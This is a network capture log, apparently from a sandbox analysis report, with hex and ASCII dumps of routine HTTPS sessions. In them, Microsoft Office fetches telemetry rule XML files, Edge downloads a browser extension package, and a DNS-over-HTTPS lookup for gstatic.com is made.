2024-10-30 17:06:40 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:40 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170640Z-r1755647c668pfkhys7b5xnv2n00000008z0000000000zh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:40 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49799	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:40 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:40 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170640Z-r1755647c66trqwgqbys9wk81g00000007000000000007fz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:40 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49803	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:40 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:40 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 2399187d-801e-008f-5f67-282c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170640Z-r1755647c668lcmr2va34xxa5s0000000720000000001byp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49795	172.217.18.1	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:40 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:40 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY2BVtVOjNBVT-MoVVT5yJ1jw_NnQluRmptGXyYAmyP6pTinJ2a9vJcJyx51ucKVNNuADGcnbX_ClA X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Tue, 29 Oct 2024 20:33:29 GMT Expires: Wed, 29 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 73991 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 17:06:40 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-30 17:06:40 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-10-30 17:06:40 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-10-30 17:06:40 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-10-30 17:06:40 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-10-30 17:06:40 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-10-30 17:06:40 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-10-30 17:06:40 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-10-30 17:06:40 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-10-30 17:06:40 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49814	162.159.61.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 17:06:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 17:06:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 17:06:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8dacff4cbcac3ac0-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 17:06:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 29 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)s^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49815	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:41 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:41 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 168e2c35-b01e-00ab-10df-25dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170641Z-17fbfdc98bblzxqcphe71tp4qw00000003mg000000008vsm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:41 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49816	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:41 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
